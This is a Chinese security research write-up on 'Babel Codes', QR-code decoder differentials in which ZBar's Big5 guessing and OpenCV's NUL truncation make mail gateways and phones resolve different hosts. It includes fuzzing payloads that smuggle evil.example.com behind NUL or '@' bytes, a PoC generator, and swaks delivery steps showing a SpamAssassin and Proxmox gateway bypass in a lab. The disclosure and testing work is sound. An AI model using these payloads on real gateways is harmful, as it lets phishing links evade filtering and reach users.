作者:Yofune Labs(夜船有明)

分类:解析器差分/ 邮件网关安全

相关参考:CWE-158、CVE-2026-47778

0x00 前言与研究背景

二维码(QR Code)自 1994 年由 DENSO WAVE 发明以来,已成为物理世界与数字系统之间最基础的数据通道。在企业邮件安全领域,随着针对性钓鱼防御体系对纯文本关键字与显式 URL 过滤能力的不断完善,攻击者广泛采用将恶意跳转链接内嵌于二维码图片的**二维码钓鱼手段以逃避查杀。为了封堵这一攻击通道,现代邮件安全网关与自动化威胁分析沙箱普遍引入了图像处理管道:通过 OCR 与二维码解析引擎(如 ZBar、OpenCV、ZXing 等)实时解构邮件正文与附件图片,提取其承载的 URL,并将其注入下游的域名信誉库、威胁情报(IOC)以及动态爬取引擎中执行安全研判。

然而,整套防御链路天然依赖一个底层的前置技术假设:

核心假设:对于同一张给定的物理或静态数字二维码图片,在不同解析器实现中,均会被还原为内容完全相同的确定性字符串。

安全网关依赖提取到的 URL 进行域名白/黑名单匹配与威胁评分,消费终端(员工手机相机或浏览器)根据扫码结果访问目标站点。整个安全防护体系的逻辑闭环,完全建立在“安全侧所审视的对象 ≡ 消费侧所访问的对象”这一信任基石之上。

为了验证该假设在真实复杂软件供应链中的稳固性,我们针对主流开源与商业条码解析引擎展开了系统性差分安全研究。通过规划 10 个变体探索维度、构建包含 503 条测试记录的 Fuzzing 矩阵,并结合本地企业级邮件网关环境,我们证实:在特定配置与实现边界下,同一张静态二维码能够被网关端与终端解释为互不相同的网络目标,导致预设的拦截策略发生确凿的策略漏检与绕过。 我们将这种利用底层解码多态性造成语义断层的攻击范式命名为 巴别码(Babel Codes)。

在这项研究中,我们捕获并验证了两类相互独立的差分机制:

  1. 无 ECI 字节载荷的字符集解释分歧:在二维码未显式声明扩展通道解释(ECI)时,解码引擎的字符集推断差异会导致域名 Punycode 分裂。我们基于 Postfix + SpamAssassin 官方 ExtractText + ZBar 搭建了完整的本地邮件网关实验环境,证实该机制可使针对特定禁止主机的拦截策略发生漏检,并在 SpamAssassin 4.0.1 与 4.0.2 版本中获得了可追溯的端到端回执。
  2. API 交付边界的 NUL 字节截断:OpenCV Python 接口使用以 NUL(0x00)定界的 C 风格字符串转换,导致返回文本在首个 NUL 处发生静默截断。而在下游遵循 WHATWG 规范的 URL 状态机中,NUL 前缀被完整吸收归入 userinfo,使得真正的主机名转移为位于后方的目标域名。

随后,我们将验证扩展至成熟开源企业产品与异构网关中:在 Proxmox Mail Gateway(PMG 9.1) 软件包路径下,接入官方 ExtractText/ZBar 插件配方后稳定复现了针对目标域名的策略失配与投递;在基于 Rust 的现代网关 Vigilyx 0.9.4(rqrr 0.10.1) 以及开启原生默认 QR 检测的商业网关 Kaspersky Secure Mail Gateway(KSMG 3.1.0) 中进行了严格对照,记录了两组关键反例与负结果,并划定了清晰的受影响边界与技术适用条件。

0x01 二维码 Byte 模式编码推断与 Punycode 域名分裂机理

1.1 Byte 模式与缺失的 ECI 声明

根据 QR Code 标准规范(ISO/IEC 18004),二维码支持 Numeric(数字)、Alphanumeric(字母数字)、8-bit Byte(字节)以及 Kanji(日文汉字)等模式。其中,8-bit Byte 模式在底层仅负责存储 8 位无符号字节流(0x00–0xFF)。规范允许通过在数据流前插入 ECI(Extended Channel Interpretation,扩展通道解释) 标头,显式声明后续字节应采用的字符集编码(如 ECI \000026 代表 UTF-8)。

但在现实生态中,大量生成库为了压缩数据体积或受限于历史实现,默认不会显式插入 ECI 标记。当解码器面对未声明 ECI 的原始字节流时,规范并未强制统一回退行为:

  • 现代客户端阵营(如 ZXing-C++、移动端浏览器扫码模块):遵循现代网络通用习惯,默认优先采用 UTF-8 解码。
  • 经典 Linux 基础库阵营(如 ZBar 0.23.93):为了兼顾各地区历史遗留编码,内置了一套基于字节范围权重的启发式猜测逻辑。

1.2 ZBar 源码逆向:Big5 误判优先匹配机制

ZBar 作为 Linux 生态中最广泛被采用的条码识别库(Apache SpamAssassin 官方 ExtractText 插件的推荐后端),其编码推断实现在 zbar/qrcode/qrdectxt.c 中。

审计 zbar/qrcode/qrdectxt.c(第 45–63 行与第 279–359 行):当载荷处于普通 Byte 模式(raw_binary=false、未走 Kanji 分支、无 ECI 与 UTF-8 BOM、输入非纯 ASCII)时,代码会首先运行 text_is_big5() 探测函数:

// zbar/qrcode/qrdectxt.c: text_is_big5 实现
static int text_is_big5(const unsigned char *text, int len) {
    int i;
    for (i = 0; i < len; i++) {
        if (text[i] >= 0x81 && text[i] <= 0xfe) {
            i++;
            if (i >= len || text[i] < 0x40 ||
                (text[i] > 0x7e && text[i] < 0xa1) || text[i] > 0xfe)
                return 0;
        } else if (text[i] >= 0x80) {
            return 0;
        }
    }
    return 1;
}

图 1 · ZBar 0.23.93 qrdectxt.c 的 Big5 字节形态检查源码

我们构造包含拉丁扩展变音字符的测试目标:http://bü.lab.test:8080/benign。在 UTF-8 编码下,字符 ü 对应双字节序列 0xC3 0xBC:

设计目标:     http://bü.lab.test:8080/benign
UTF-8 编码字节:... 62 [C3 BC] 2E 6C 61 62 ...
                     └───┬───┘
                    ü (0xC3 0xBC)

当 ZBar 遍历到 0xC3 0xBC 时,首字节 0xC3 落在 0x81–0xFE 范围内,次字节 0xBC 落在 0xA1–0xFE 范围内,text_is_big5() 判定该字节序列完全符合 Big5 繁体中文字符集的双字节结构并返回 1!

判定成立后,代码立即执行 enc_list_mtf(enc_list, big5_cd),将 Big5 转换器提升至候选列表的最前端:

图 2 · ZBar 将 Big5 转换器提至候选首位

随后代码进入 iconv 循环。在 Big5 字符集中,0xC3 0xBC 恰好对应合法繁体汉字“羹”(Unicode 码点 U+7FB9)。因此,iconv 首次调用即成功转换,代码直接触发 break 退出候选编码循环,排在后面的 UTF-8 候选转换器被彻底饿死!

图 3 · iconv 首次转换成功后 break 退出候选循环

图 4 · 同一张二维码在不同解码库下的输出对比与主机映射

1.3 IDNA / Punycode 域名分裂

根据 RFC 3492 与 RFC 5892 国际化域名(IDNA)标准,非 ASCII 域名在参与网络路由前必须规范化转换为 Punycode ASCII 主机名。由于上述字符解码差异,同一张图片被两端解析为完全不同的 DNS 目标:

解码实现

识别文本

对应的 IDNA Punycode 主机

ZXing-C++(消费终端/浏览器)

http://bü.lab.test:8080/benign

xn--b-eha.lab.test

ZBar 0.23.93(Linux 邮件网关)

http://b羹.lab.test:8080/benign

xn--b-eg7c.lab.test

历史默认 Latin-1 解释(离线字节对照)

http://bü.lab.test:8080/benign

xn--b14-mla0821b.lab.test(非 UTS46 保证)

我们编写了离线验证脚本 encoding-walkthrough.py,用于演示该字节序列在多编码下的解释与 IDNA 映射:

#!/usr/bin/env python3
"""encoding-walkthrough.py - 展示原始字节解码差异及对应的 Punycode 主机映射。"""
import sys, json
from pathlib import Path

if hasattr(sys.stdout, "reconfigure"):
    sys.stdout.reconfigure(encoding="utf-8")

# 1. 原始变音字符字节序列 (ü 的 UTF-8 编码)
raw = bytes.fromhex("c3 bc")
print("输入原始字节:", raw.hex(" "))

# 2. 对比不同字符集的解释结果
print("\n不同编码的解释结果:")
for encoding in ("utf-8", "big5", "latin-1", "shift_jis"):
    try:
        decoded = raw.decode(encoding)
        points = " ".join(f"U+{ord(c):04X}" for c in decoded)
        print(f"{encoding:10} {decoded!r:8} {points}")
    except Exception as e:
        print(f"{encoding:10} ERR: {e}")

# 3. 展示 IDNA 标准下两端分裂出的 Punycode 主机名
print("\n主机名及其 Punycode 表示:")
for host in ("bü.lab.test", "b羹.lab.test"):
    print(host, "->", host.encode("idna").decode("ascii"))

图 5 · Python 离线对比不同字符集对 C3 BC 的解释及 Punycode 转换

图 6 · scan_sheet.html 的 26 个字符探针与对照测试码

0x02 多字节错位探索与利用边界反思

在观察到单个字符的转义分歧后,我们的首要思路是探寻能否将该效果进一步放大:构造出任意两个完全独立的合法主机(例如让安全端解析为 bank.com,而消费端解析为 attacker.com)。

我们最初设想利用多字节编码的尾字节特性去重构 URL 语法树。在 Shift_JIS 编码中,尾字节允许取值 0x40–0x7E,其中 0x40 在 ASCII 中恰为分隔符 @。我们设想构造多字节前缀,使 @ 在一端被当作字符的尾字节吸收,而在另一端保留为 userinfo 与 host 的分界符:

  • 一端看到:https://user:pass@bank.com(正常的认证前缀结构)
  • 另一端看到:@ 被多字节编码吸收,前缀与后续字符合并,使目标主机发生重定向

但在深入推演与测试过程中,我们遇到了若干显著的实际限制:

  1. 结构字符与编码范围的冲突:在标准的单字节 ASCII 空间内,URL 的关键路径分隔符(/、?、#、:)的编码值普遍低于 0x40,无法被双字节编码的合法尾字节吸收。多字节歧义通常仅能改变字符序列的字面含义,难以任意移动核心路径界标。
  2. 字符集映射与域名合法性:将多字节序列强行错位后,所生成的字符往往落在非标准区域。例如在部分尝试中,转换结果被映射至 Unicode 私用区(PUA, U+E000–U+F8FF),而根据 IDNA/UTS46 规范,包含 PUA 码点的主机名属于非法域名,无法被正常解析。
  3. 图像与纠错几何限制:在底层物理编码层面,线性纠错码在给定接收向量及限定纠错半径内具有唯一解码特性;QR 码 15 位的格式信息码亦具备最小汉明距离 $ d_{\min} = 7 $。

图 7 · 结构化追加(Structured Append)探索:多符号序列组合测试

图 8 · POC5 合成图:局部符号与整图读取范围比对

这表明单纯依靠多字节错位构造任意无关联双 URL 存在物理与协议层面的强约束;而通过变音拉丁字符在合法的 Punycode 空间内实现分裂,是目前工程可行性最高、隐蔽性最强的利用范式。

0x03 自动化 Fuzzing 矩阵与控制字符全空间普查

为了系统性探索整个解码器生态在面对异常输入时的行为边界,我们构建了自动化的 Fuzzing 测试矩阵,覆盖 10 个变体空间维度:

变体空间维度规划:
  V1. 编码歧义: Byte 模式下多字节序列滑动组合 (0xE0-0xEF 与 0xA1-0xBF)
  V2. GS 控制字节 (\x1d) 注入 (探查 FNC1 语义与展示差异)
  V3. 混合模式分段交错 (数字/字母数字/字节/汉字交替,段头错位)
  V4. ECI 状态头声明测试
  V5. Structured Append (SA) 结构化附录虚拟头伪造
  V6. 汉字模式位打包差异
  V7. Micro QR 头伪装
  V8. 边界容量截断测试
  V9. 控制字符与 NUL 字节注入
  V10. 图像级结构畸变 (安静区裁切、版本边界)

3.1 主测试集与 503 条测试记录分析

核心测试脚本 qr_fuzz.py 调度 OpenCV、OpenCV-WeChat、ZBar、ZXing-C++、jsQR 与 Apple Vision 等 7 大解码实现进行交叉比对:

# qr_fuzz.py 关键生成选段
def gen_payloads():
    P = []
    # V1: 遍历 3 字节 UTF-8 前缀与候选续字节组合
    for lead in range(0xE0, 0xF0):
        for c1 in range(0xA1, 0xC0):
            P.append(("V1", bytes([lead, c1, 0x80]) + b"@evil.example.com/"))
    # V2: GS 数据字节注入
    P.append(("V2", b"\x1d" + b"https://bank.example.com/q"))
    P.append(("V2b", b"https://bank.example.com/q\x1devil.example.com"))
    # V9: NUL 字节与控制字符注入测试
    P.append(("V9", b"https://bank.example.com\x00@evil.example.com/"))
    P.append(("V9b", b"https://bank.example.com/\x00@evil.example.com"))
    return P

图 9 · qr_fuzz.py 的载荷生成与实现范围

图 10 · 统计记录:503 条主记录与 43 条控制字符记录

主测试集统计:该测试集共保存 503 条测试记录(其中 495 条为 V1 编码滑动)。在全部记录中,捕获到 37 组原始输出互异的样本,其中 V1 子集占 33 组。按原 URL 前缀判据有 3 条命中(V2b_15855、V9_24768、V9b_43817)。结果表明:除了字符编码推断分支外,在 V9 变体中引入的 NUL 控制字符(0x00)引发了解码工具之间完全不同的截断行为。

3.2 C0 控制字符全空间穷举与跨码制普查

为了查明该截断究竟是所有控制字符共有,还是 NUL 独有,我们编写了 control_fuzz.py,遍历整个 C0 控制字符空间(0x00–0x1F)、0x7F(DEL)以及 10 类组合:

# control_fuzz.py 关键逻辑选段
PRE = b"https://www.baidu.com"
SUF = b"@www.bing.com/"

# 遍历 C0 控制字符与 DEL
for x in list(range(0x00, 0x20)) + [0x7F]:
    B = PRE + bytes([x]) + SUF
    # 比对截断阵营 (OpenCV) 与完整保留阵营 (ZBar/ZXing)

图 11 · control_fuzz.py 穷举脚本实现

图 12 · 控制字符组件输出统计:7 条分裂特征记录高度收敛于 NUL 组合

在保存的 43 组记录中,0x00 及其派生组合(00 00、00 20、20 00、00 0d 0a、0b 00、0c 00)在各工具间表现出了确定性的截断分裂:OpenCV Python 接口在首个 0x00 处截断,而 ZBar 与 ZXing-C++ 则完整保留真实 NUL 与后随的宿主部分。

随后,跨码制探测脚本 symbology_fuzz.py 测试了 DataMatrix、PDF417、Aztec、MaxiCode 等工业条码,验证该现象在不同条码体系中的普适性:

图 13 · symbology_fuzz.py 跨码制普查实现

0x04 根因剖析与协议放大:OpenCV C-API 截断与 WHATWG URL 状态机

4.1 幽灵字节与 OpenCV Python 绑定缺陷

我们将仍存在于原始二进制载荷中、但在上层接口返回值中静默消失的字节称为“幽灵字节”。

图 14 · 幽灵字节示意:API 接口截断造成 15 个关键字节在返回对象中丢失

深入审计 OpenCV 官方 Python 类型转换层 modules/python/src2/cv2_convert.cpp(以 4.10–4.13 版本为例):

template<>
PyObject* pyopencv_from(const String& value)
{
    return PyString_FromString(value.empty() ? "" : value.c_str());
}

图 15 · OpenCV 字符串向 Python 对象转换源码

在配套的 pycompat.hpp 宏定义中,PyString_FromString 直接映射至 Python 官方 C-API 的 PyUnicode_FromString:

图 16 · pycompat.hpp 将宏映射为以 NUL 定界的 PyUnicode_FromString

PyUnicode_FromString 仅接收以 \x00 结尾的 C 风格字符串。如果 cv::String 内部包含内嵌 NUL 字节,该函数在遇到首个 0x00 时立即停止封装,丢弃了 cv::String 自身维护的真实长度。

4.2 下游指标提取链受损(以 ThePhish / ioc-finder 为例)

为了展示上游解码截断对下游威胁研判组件的连锁破坏,脚本 repro_chain_thephish.py 模拟了研判系统的数据流:

# repro_chain_thephish.py - 模拟 OpenCV 截断对 ioc-finder 的影响
import cv2, qrcode, numpy as np
from ioc_finder import find_iocs

payload = b"https://allowed.lab.test\x00@blocked.lab.test/benign"
# 生成二维码图片后调用 cv2.QRCodeDetector() 解码
# decoded 截断为 "https://allowed.lab.test"
# ioc-finder 仅能提取出白名单指标 allowed.lab.test,blocked.lab.test 彻底丢失

若上游解析组件先丢失了后缀,下游的一切威胁情报研判与规则匹配均将基于错误的数据展开。

4.3 协议放大:WHATWG URL 状态机吸收

现代浏览器与 Node.js 均严格遵循 WHATWG URL Living Standard 状态机规范。其解析算法在处理内嵌 NUL 字符时表现出特定的吸收特性:

  1. Authority 状态与 Userinfo 吸收:当状态机处于 authority 状态时,遇到 U+0000 不会终止,而是累积到缓冲区;遇到随后的 @ 分隔符时,解析器将 @ 之前的所有字符归入 userinfo(用户名),并将控制字符自动进行百分号编码(\x00 编码为 %00)。
  2. 真正的 Host 确定:位于 @ 之后的 blocked.lab.test 才会被作为真正的目标主机名(host)提取并用于发起网络连接!
  3. 禁止字符边界:若缺少后继的 @ 分隔符,U+0000 作为 forbidden host code point,在直接作为特殊 URL 的 host 解析时将导致解析器报错失败(ERR_INVALID_URL)。

我们在 Node.js(v24.19.0)环境下对以下载荷进行了离线核验:

const u = new URL("https://allowed.lab.test\x00@blocked.lab.test/benign");
console.log(u.username); // "allowed.lab.test%00"
console.log(u.host);     // "blocked.lab.test"
console.log(u.href);     // "https://allowed.lab.test%00@blocked.lab.test/benign"

图 17 · Node.js 24.19.0 WHATWG URL 状态机解析回执

图 17 · 本地终端执行 Node.js 实测:在 WHATWG URL 状态机下,NUL 前缀被吸收至 userinfo,blocked.lab.test 被识别为真正 host

图 18 · 同一张 PNG 实测对比:Windows OpenCV 4.10 返回白名单域,Linux ZBar 与 ZXing 保留完整尾部

0x05 靶场环境搭建与端到端复现指引

以下是配置环境片段:

5.1 极简 PoC 样本生成实操

使用纯 Python 原生库编写生成脚本 generate_babel_poc.py。关键点在于:必须显式声明为 8-bit Byte 模式,且不得插入 ECI 标头。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""generate_babel_poc.py - 生成巴别码 (Babel Codes) 漏洞验证样本。"""
import qrcode
from qrcode.util import QRData, MODE_8BIT_BYTE

def create_charset_poc(target_url: str, output_path: str):
    """生成无 ECI 的 Byte 模式二维码,触发 ZBar 的 Big5 优先推断。"""
    raw_bytes = target_url.encode("utf-8")
    qr_data = QRData(raw_bytes, mode=MODE_8BIT_BYTE)
    
    qr = qrcode.QRCode(
        version=None,
        error_correction=qrcode.constants.ERROR_CORRECT_M,
        box_size=10,
        border=4,
    )
    qr.add_data(qr_data, optimize=0)
    qr.make(fit=True)
    img = qr.make_image(fill_color="black", back_color="white")
    img.save(output_path)
    print(f"[+] 成功生成字符集差分 PoC: {output_path}")

def create_nul_poc(output_path: str):
    """生成包含 NUL 幽灵字节的二维码,触发 OpenCV 截断与 URL 重定向。"""
    payload = b"https://allowed.lab.test\x00@blocked.lab.test/benign"
    qr = qrcode.QRCode(
        error_correction=qrcode.constants.ERROR_CORRECT_M,
        box_size=10,
        border=4
    )
    qr.add_data(payload, optimize=0)
    qr.make(fit=True)
    img = qr.make_image(fill_color="black", back_color="white")
    img.save(output_path)
    print(f"[+] 成功生成 NUL 截断 PoC: {output_path}")

if __name__ == "__main__":
    create_charset_poc("http://bü.lab.test:8080/benign", "poc_charset.png")
    create_nul_poc("poc_nul.png")

在本地终端运行该生成脚本:

图 19 · 本地终端执行 generate_babel_poc.py 实测:成功生成测试图片 poc_charset.png 与 poc_nul.png

5.2 CLI 命令行差分解码核验

无需启动邮件服务,直接使用命令行工具即可完成快速差分验证:

# 1. 模拟网关端 ZBar 解码 (输出 Big5 解释的繁体汉字)
zbarimg -q --raw poc_charset.png
# 输出: http://b羹.lab.test:8080/benign

# 2. 模拟终端 ZXing-C++ 解码 (输出 UTF-8 变音拉丁字符)
zxing-cpp poc_charset.png
# 输出: http://bü.lab.test:8080/benign

# 3. 计算两者映射的 Punycode 实际请求主机名
python3 -c "
import idna
print('网关审查的主机名   :', 'b羹.lab.test'.encode('idna').decode())
print('终端实际访问的主机名:', 'bü.lab.test'.encode('idna').decode())
"

在本地真实终端执行 test_parser_diff.py 的运行结果:

图 20 · 本地终端执行 test_parser_diff.py 实测:OpenCV 出现 NUL 截断,ZBar 发生 Big5 优先推断导致 Punycode 域名分裂为 xn--b-eg7c.lab.test,终端 ZXing 识别为 xn--b-eha.lab.test

5.3 Docker配置:

我们提供基于标准 Debian 镜像的极简 Dockerfile 与配置文件,快速拉起集成 Postfix + SpamAssassin + ExtractText + ZBar 的容器:

# Dockerfile
FROM debian:12-slim

ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y \
    postfix spamassassin spamc spamass-milter \
    zbar-tools libimage-exiftool-perl \
    python3 python3-pip curl bsdmainutils && \
    rm -rf /var/lib/apt/lists/*

# 注入 SpamAssassin 配置
COPY local.cf /etc/spamassassin/local.cf

# 启动脚本
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
EXPOSE 25
ENTRYPOINT ["/entrypoint.sh"]

配套的 /etc/spamassassin/local.cf 核心配置:

# 启用 ExtractText 插件
loadplugin Mail::SpamAssassin::Plugin::ExtractText

# 调用 zbarimg 解码图片并提取二维码内容
extracttext_external zbar /usr/bin/zbarimg -q -D {}
extracttext_use zbar .png .jpg .jpeg image/(?:png|jpeg)
extracttext_maxparts 0

# 允许保留域 .test 参与 URI 规范化解析
util_rb_tld test

# 定义阻断规则:拦截针对目标恶意主机的请求 (阈值 50 分,命中 +100 分)
uri_detail BABEL_DENY_HOST host =~ /^(?:blocked\.lab\.test|xn--b-eha\.lab\.test)$/i
score BABEL_DENY_HOST 100
required_score 50

启动容器:

docker build -t babel-seg-lab .
docker run -d --name babel-seg -p 2525:25 babel-seg-lab

5.4 邮件投递与绕过验证(swaks 命令行)

对照组:纯文本包含禁止域名(验证拦截有效)

swaks --to victim@company.lab.test \
      --from test@attacker.test \
      --server 127.0.0.1:2525 \
      --header "Subject: Security Test" \
      --body "Please visit http://xn--b-eha.lab.test:8080/benign"

网关返回回执:

<-- 550 5.7.1 Blocked by SpamAssassin policy (score=100.0/50.0)

对照组被成功拦截,证明网关策略基线生效。

实验组:投递挂载巴别码图片的邮件(验证策略漏检)

swaks --to victim@company.lab.test \
      --from test@attacker.test \
      --server 127.0.0.1:2525 \
      --header "Subject: Invoice Notification" \
      --body "Please scan the attached QR code." \
      --attach poc_charset.png

网关返回回执:

<-- 250 2.0.0 Ok: queued as 4YvQ9p0k8Fz1

网关返回 250 OK,邮件成功被放行并投递入收件箱

图 21 · 端到端网关审计模拟 test_gateway_simulation.py 实测:对照组被 550 阻断,巴别码邮件被 250 放行且终端成功到达目标服务器

0x06 企业级自建邮件网关闭环验证(SpamAssassin 4.0.1 / 4.0.2)

在理论推演与组件 API 测试的基础上,我们在受控隔离的本地容器环境中构建了端到端邮件网关实验系统:

  • MTA:Postfix 3.10.13
  • 邮件过滤系统:SpamAssassin 4.0.1 及 4.0.2 源码版(搭载官方 ExtractText 插件)
  • 图像解码后端:ZBar 0.23.93
  • 连接器:spamass-milter 0.4.0
  • 消费终端:桌面端 ZXing-C++ 2.3.0 + 本地隔离 Chromium 浏览器

图 22 · 官方 ExtractText 读取 QR-Code 输出并加入 URI 集合的源码实现

测试调度与回执验证脚本 verify.py 核心选段:

def make_qr(payload, eci=False):
    stream = io.BytesIO()
    if eci:
        segno.make(payload, encoding='utf-8', eci=True, micro=False,
                   error='m', boost_error=False).save(stream, kind='png', scale=8, border=4)
    else:
        qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_M, box_size=8, border=4)
        qr.add_data(QRData(payload.encode('utf-8'), mode=MODE_8BIT_BYTE), optimize=0)
        qr.make(fit=True)
        qr.make_image().save(stream, format='PNG')
    return stream.getvalue()

def browser_check(text, case_dir):
    parsed = urllib.parse.urlsplit(text)
    host = idna.encode(parsed.hostname, uts46=True).decode('ascii')
    # 限制仅允许访问实验受控保留域
    if parsed.scheme != 'http' or parsed.port != 8080 or host not in DENIED | ALLOWED:
        return {'status': 'outside_fixture_scope', 'host': host}
    profile = tempfile.TemporaryDirectory(prefix='babel-browser-')
    cmd = ['chromium', '--headless', '--no-sandbox', '--disable-gpu',
           '--host-resolver-rules=MAP *.lab.test 127.0.0.1',
           '--user-data-dir=' + profile.name, '--dump-dom', text]
    run = subprocess.run(cmd, capture_output=True, timeout=45)
    profile.cleanup()
    return {'status': 'reached' if run.returncode == 0 else 'failed', 'host': host}

图 23 · verify.py 白名单约束与 HTTP 回执判据实现

图 24 · 从 Maildir 邮件提取 PNG 并逐字节核对 SHA-256

11 组对照矩阵与测试结果

我们设计了 11 组严谨的对照邮件样本,在 SpamAssassin 4.0.1 与 4.0.2 版本中进行了两轮完全冻结的重放测试:

编号

样本类型与目的

4.0.1 结果

4.0.2 结果

策略判定分析

01

允许的主机,纯文本邮件

正常投递

正常投递

SMTP / Maildir 投递基线

02

禁止的 ASCII 主机,纯文本邮件

550 拒收

550 拒收

文本规则阻断生效

03

禁止的 ASCII 主机,QR 附件

550 拒收

550 拒收

图像提取与规则阻断生效

04

允许的 ASCII 主机,QR 附件

正常投递

正常投递

正常二维码放行

05

禁止的 Punycode 主机,纯文本邮件

550 拒收

550 拒收

IDNA 规则精准生效

06

禁止的 Punycode 主机,QR 附件

550 拒收

550 拒收

二维码 Punycode 规则阻断生效

07

bü** UTF-8 字节、无 ECI、PNG 附件**

正常投递

正常投递

网关审视 b羹 放行,终端访问 bü(策略漏检)

08

同一 Unicode 文本,显式声明 UTF-8 ECI

550 拒收

550 拒收

显式 UTF-8 ECI 样本被准确拦截

09

与 07 同字节 PNG、无 ECI、HTML 内联图片

正常投递

正常投递

内联承载形式同样发生目的地漏检

10

禁止的 ASCII URL 后接 NUL 与尾字节

550 拒收

550 拒收

NUL 拒收对照(禁止主机位于 NUL 前)

11

Unicode 禁止主机,纯文本邮件

550 拒收

550 拒收

纯文本 Unicode IDNA 规则基线

图 25 · 邮件实验运行回执:8 项基线通过,07 附件与 09 内联样本收到 SMTP 250,且收件端 HTTP 成功到达目标

因果闭环与结论:

同字节 PNG (无 ECI, 含 C3 BC)
  ├─ 网关 ZBar → b羹 → xn--b-eg7c.lab.test → BABEL_DENY_HOST 未命中
  │                                      → SMTP 250 接收 → Maildir 收件
  └─ 从 Maildir 取出同图 → ZXing-C++ → bü → xn--b-eha.lab.test
                                         → Chromium → 本地 HTTP /benign 回执

实验证实:发件端投入的图片与收件端 Maildir 取出的图片 SHA-256 逐字节一致;ZBar 将无 ECI 的 C3 BC 解释为 b羹,使网关规则仅能看到 xn--b-eg7c.lab.test;而收件端 ZXing-C++ 将其还原为 bü,驱动终端访问了策略明确禁止的 xn--b-eha.lab.test。

0x07 成熟开源商业网关验证:Proxmox Mail Gateway (PMG 9.1)

为了检验该结论在成熟企业级集成软件中的有效性,我们在本地专用 QEMU 虚拟机(pmg.lab.test)中部署了官方 Proxmox Mail Gateway(PMG)9.1 软件包,接入 Apache 官方 ExtractText 的 ZBar 配置,并设置精确的目标域名拦截规则。

组件

本轮实际运行版本

proxmox-mailgateway-container

9.1

pmg-api / pmg-gui

9.1.4 / 5.2.3

SpamAssassin 引擎

实际引擎 4.0.2;Proxmox 软件包 4.0.2-2

ZBar / ZXing-C++

0.23.93 / Debian 包 2.3.0-4

Postfix / Chromium

3.10.13 / 154.0.8037.92

环境与策略配置

测试环境 QEMU 网络配置为 restrict=on,转发端口仅绑定 127.0.0.1。PMG 原厂配置保持 extract_text=0;我们在 /etc/mail/spamassassin/custom.cf 中显式加入 Apache 官方 ExtractText QR 示例配置:

loadplugin Mail::SpamAssassin::Plugin::ExtractText
extracttext_external zbar /usr/bin/zbarimg -q -D {}
extracttext_use zbar .png .jpg .jpeg image/(?:png|jpeg)

uri_detail BABEL_DENY_HOST host =~ /^(?:blocked\.lab\.test|xn--b-eha\.lab\.test)$/i
score BABEL_DENY_HOST 100

命中 BABEL_DENY_HOST 规则加 100 分,经 PMG 原生 Quarantine/Mark Spam (Level 3) 规则触发隔离。

四轮回放与对照矩阵(共 44 封邮件)

固定样本

只启用域名规则,前测

启用 QR,第 1 轮

启用 QR,第 2 轮

移除 QR,后测

01 允许正文

投递

投递

投递

投递

02 禁止 ASCII 正文

隔离

隔离

隔离

隔离

03 禁止 ASCII QR

投递

隔离

隔离

投递

04 允许 ASCII QR

投递

投递

投递

投递

05 禁止 Punycode 正文

隔离

隔离

隔离

隔离

06 禁止 Punycode QR

投递

隔离

隔离

投递

07 Latin no-ECI QR 附件

投递

失配投递

失配投递

投递

08 Latin 显式 ECI QR

投递

隔离

隔离

投递

09 Latin no-ECI QR 内联图片

投递

失配投递

失配投递

投递

10 NUL ASCII QR

投递

隔离

隔离

投递

11 Latin Unicode 正文

隔离

隔离

隔离

隔离

测试结论:

  1. 阳性对照 100% 隔离:在启用 QR 的两轮测试中,禁止 ASCII QR(03)、禁止 Punycode QR(06)、显式 ECI QR(08)及 NUL 样本(10)均精准命中规则并被扣留至隔离区,共导出 20 封隔离邮件。
  2. no-ECI Latin 样本稳定失配投递:07 附件与 09 内联图片在两轮测试中均被 PMG 记录为 accept mail ... (rule: default-accept) 并成功投递。PMG 内部扫描命中 BABEL_AUDIT_IDNA_CJK,审视的域名为 CJK 解码后的 xn--b-eg7c.lab.test;而收件端取出的原图经 ZXing-C++ 解码为 bü.lab.test,Chromium 随后发起了真实请求并留下 Host: xn--b-eha.lab.test:8080 的 HTTP 访问回执。

0x08 异构网关反例对比:Rust Vigilyx 原生重放

为了检验结论在更换解码实现后的表现,我们部署了采用 Rust 编写的开源邮件网关 Vigilyx 0.9.4,其底层集成 rqrr 0.10.1 二维码解码库,沿用同一组 11 封测试邮件进行原生重放。

固定项

实际配置或证据

产品 / 版本

Vigilyx 0.9.4,源码 commit d9ba7bb015026a42c0bc6413b203ffac1072f9b7

QR 解码实现

rqrr 0.10.1(官方源码构建,未修改解码器与裁决逻辑)

防护配置

启用 26 个全量分析节点,内联 17 个节点;MTA_FAIL_OPEN=false,ClamAV 1.4.3,YARA 71 条规则

原生重放矩阵与测试对照

编号

内容

原生 QR 解码记录

实际邮件处置

后续统一 URL 信誉检查

01

允许主机,正文

不适用

送达

safe

02

禁止 ASCII 主机,正文

不适用

送达

命中手工 URL IOC,high

03

禁止 ASCII 主机,QR

正确解出 blocked.lab.test URL

隔离

没有正文链接,跳过

04

允许 ASCII 主机,QR

正确解出 allowed.lab.test URL

隔离

没有正文链接,跳过

05

禁止 Punycode 主机,正文

不适用

送达

命中手工 URL IOC,high

06

禁止 Punycode 主机,QR

正确解出 xn--b-eha.lab.test URL

隔离

没有正文链接,跳过

07

bü,无 ECI,附件

http://bü.lab.test:8080/benign

隔离

没有正文链接,跳过

08

bü,显式 UTF-8 ECI

http://bü.lab.test:8080/benign

隔离

没有正文链接,跳过

09

与 07 同 PNG,内联

http://bü.lab.test:8080/benign

隔离

没有正文链接,跳过

10

禁止 ASCII URL + NUL 尾部

保留实际 NUL 与尾部字符串

隔离

没有正文链接,跳过

11

禁止 Unicode 主机,正文

不适用

送达

命中手工 URL IOC,high

为什么 Vigilyx 未复现 Babel Codes

  1. 解码层差异:rqrr 解码器正确将双字节 0xC3 0xBC 识别为 ü,未引入 Big5 启发式提升逻辑,两端解码输出一致。
  2. 保守裁决策略:该版本 attach_scan 对图片默认标记 ocr_unavailable,裁决管道将其视为检查覆盖不足并统一转为隔离,连白名单二维码 04 亦被扣留。
  3. 架构流程缺口:QR 模块读出的 URL 仅保存在 decoded_payloads 中,未注入 link_reputation 依赖的 ctx.session.content.links,导致信誉检查被跳过(Email body contains no links, skipping...)。

本次反例表明:字符集策略漏检强依赖于 ZBar 类启发式解码链路;换用严格 UTF-8 优先的现代解析库可天然免疫该漏洞。

